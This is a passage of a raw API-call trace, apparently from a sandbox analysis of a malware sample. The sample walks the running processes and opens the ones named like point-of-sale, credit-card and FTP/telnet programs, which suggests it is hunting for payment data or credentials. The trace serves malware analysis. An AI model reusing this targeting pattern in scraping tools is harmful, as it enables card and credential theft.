hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Internet Explorer\\active-charge.exe" (normalized: "c:\\program files\\internet explorer\\active-charge.exe")) returned 0x34 [0239.565] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Internet Explorer\\active-charge.exe" | out: _Dest="C:\\Program Files\\Internet Explorer\\active-charge.exe") returned="C:\\Program Files\\Internet Explorer\\active-charge.exe" [0239.565] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.565] CloseHandle (hObject=0x100) returned 1 [0239.565] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0239.566] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb80) returned 0x100 [0239.566] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" (normalized: "c:\\program files (x86)\\uninstall information\\accupos.exe")) returned 0x38 [0239.567] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe") returned="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" [0239.567] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.567] CloseHandle (hObject=0x100) returned 1 [0239.567] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0239.568] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb88) returned 0x100 [0239.568] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\afr38.exe" (normalized: "c:\\program files\\dvd maker\\afr38.exe")) returned 0x24 [0239.568] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\DVD Maker\\afr38.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\afr38.exe") returned="C:\\Program Files\\DVD Maker\\afr38.exe" [0239.569] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.569] CloseHandle (hObject=0x100) returned 1 [0239.569] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0239.569] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb90) returned 0x100 [0239.570] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" (normalized: "c:\\program files (x86)\\msbuild\\aldelo.exe")) returned 0x29 [0239.570] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\aldelo.exe") returned="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" [0239.570] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.570] CloseHandle (hObject=0x100) returned 1 [0239.570] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0239.571] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb98) returned 0x100 [0239.571] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" (normalized: "c:\\program files (x86)\\windows mail\\ccv_server.exe")) returned 0x32 [0239.572] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe") returned="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" [0239.572] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.572] CloseHandle (hObject=0x100) returned 1 [0239.572] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0239.573] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba0) returned 0x100 [0239.573] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" (normalized: "c:\\program files (x86)\\msbuild\\centralcreditcard.exe")) returned 0x34 [0239.573] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe") returned="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" [0239.584] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.584] CloseHandle (hObject=0x100) returned 1 [0239.584] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0239.585] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba8) returned 0x100 [0239.585] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\creditservice.exe")) returned 0x36 [0239.585] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" [0239.585] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.585] CloseHandle (hObject=0x100) returned 1 [0239.585] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0239.586] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbb0) returned 0x100 [0239.586] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\edcsvr.exe" (normalized: "c:\\program files\\dvd maker\\edcsvr.exe")) returned 0x25 [0239.587] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\DVD Maker\\edcsvr.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\edcsvr.exe") returned="C:\\Program Files\\DVD Maker\\edcsvr.exe" [0239.587] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.587] CloseHandle (hObject=0x100) returned 1 [0239.587] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0239.587] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbb8) returned 0x100 [0239.588] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\fpos.exe")) returned 0x2d [0239.588] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" [0239.588] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.588] CloseHandle (hObject=0x100) returned 1 [0239.588] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0239.589] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbc0) returned 0x100 [0239.589] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Sidebar\\isspos.exe" (normalized: "c:\\program files\\windows sidebar\\isspos.exe")) returned 0x2b [0239.590] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Sidebar\\isspos.exe" | out: _Dest="C:\\Program Files\\Windows Sidebar\\isspos.exe") returned="C:\\Program Files\\Windows Sidebar\\isspos.exe" [0239.590] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.590] CloseHandle (hObject=0x100) returned 1 [0239.590] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0239.591] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbc8) returned 0x100 [0239.591] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\MSBuild\\mxslipstream.exe" (normalized: "c:\\program files\\msbuild\\mxslipstream.exe")) returned 0x29 [0239.591] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\MSBuild\\mxslipstream.exe" | out: _Dest="C:\\Program Files\\MSBuild\\mxslipstream.exe") returned="C:\\Program Files\\MSBuild\\mxslipstream.exe" [0239.591] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.591] CloseHandle (hObject=0x100) returned 1 [0239.591] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0239.592] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd0) returned 0x100 [0239.592] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe")) returned 0x35 [0239.593] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" [0239.593] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.593] CloseHandle (hObject=0x100) returned 1 [0239.593] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0239.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd8) returned 0x100 [0239.594] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\spcwin.exe")) returned 0x2f [0239.594] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" [0239.594] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.594] CloseHandle (hObject=0x100) returned 1 [0239.595] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0239.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbe4) returned 0x100 [0239.595] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\spgagentservice.exe")) returned 0x3f [0239.596] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" [0239.596] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.596] CloseHandle (hObject=0x100) returned 1 [0239.596] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0239.597] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbec) returned 0x100 [0239.597] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\utg2.exe" (normalized: "c:\\program files (x86)\\windows nt\\utg2.exe")) returned 0x2a [0239.597] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows NT\\utg2.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\utg2.exe") returned="C:\\Program Files (x86)\\Windows NT\\utg2.exe" [0239.597] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.597] CloseHandle (hObject=0x100) returned 1 [0239.598] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="heremanager.exe")) returned 1 [0239.598] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf0) returned 0x100 [0239.598] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\heremanager.exe" (normalized: "c:\\program files\\dvd maker\\heremanager.exe")) returned 0x2a [0239.599] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\DVD Maker\\heremanager.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\heremanager.exe") returned="C:\\Program Files\\DVD Maker\\heremanager.exe" [0239.599] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.599] CloseHandle (hObject=0x100) returned 1 [0239.599] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="second.exe")) returned 1 [0239.600] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc08) returned 0x100 [0239.600] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\second.exe" (normalized: "c:\\program files\\windows nt\\second.exe")) returned 0x26 [0239.600] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows NT\\second.exe" | out: _Dest="C:\\Program Files\\Windows NT\\second.exe") returned="C:\\Program Files\\Windows NT\\second.exe" [0239.601] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.601] CloseHandle (hObject=0x100) returned 1 [0239.601] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="sign.exe")) returned 1 [0239.601] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0x100 [0239.601] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\MSBuild\\sign.exe" (normalized: "c:\\program files\\msbuild\\sign.exe")) returned 0x21 [0239.602] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\MSBuild\\sign.exe" | out: _Dest="C:\\Program Files\\MSBuild\\sign.exe") returned="C:\\Program Files\\MSBuild\\sign.exe" [0239.602] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.602] CloseHandle (hObject=0x100) returned 1 [0239.602] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="than near.exe")) returned 1 [0239.603] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc18) returned 0x100 [0239.603] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" (normalized: "c:\\program files (x86)\\internet explorer\\than near.exe")) returned 0x36 [0239.603] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\than near.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" [0239.604] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.604] CloseHandle (hObject=0x100) returned 1 [0239.604] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="history-oh.exe")) returned 1 [0239.604] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc20) returned 0x100 [0239.605] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\history-oh.exe")) returned 0x3a [0239.605] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" [0239.605] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.605] CloseHandle (hObject=0x100) returned 1 [0239.605] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0239.606] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc28) returned 0x100 [0239.606] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\3dftp.exe")) returned 0x33 [0239.607] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" [0239.607] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.607] CloseHandle (hObject=0x100) returned 1 [0239.607] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0239.608] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc30) returned 0x100 [0239.608] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" (normalized: "c:\\program files\\microsoft office 15\\absolutetelnet.exe")) returned 0x37 [0239.608] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe") returned="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe" [0239.608] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.608] CloseHandle (hObject=0x100) returned 1 [0239.608] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0239.609] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc38) returned 0x100 [0239.609] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\WindowsPowerShell\\alftp.exe" (normalized: "c:\\program files\\windowspowershell\\alftp.exe")) returned 0x2c [0239.609] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\WindowsPowerShell\\alftp.exe" | out: _Dest="C:\\Program Files\\WindowsPowerShell\\alftp.exe") returned="C:\\Program Files\\WindowsPowerShell\\alftp.exe" [0239.610] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0239.610] CloseHandle (hObject=0x100) returned 1 [0239.610] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, 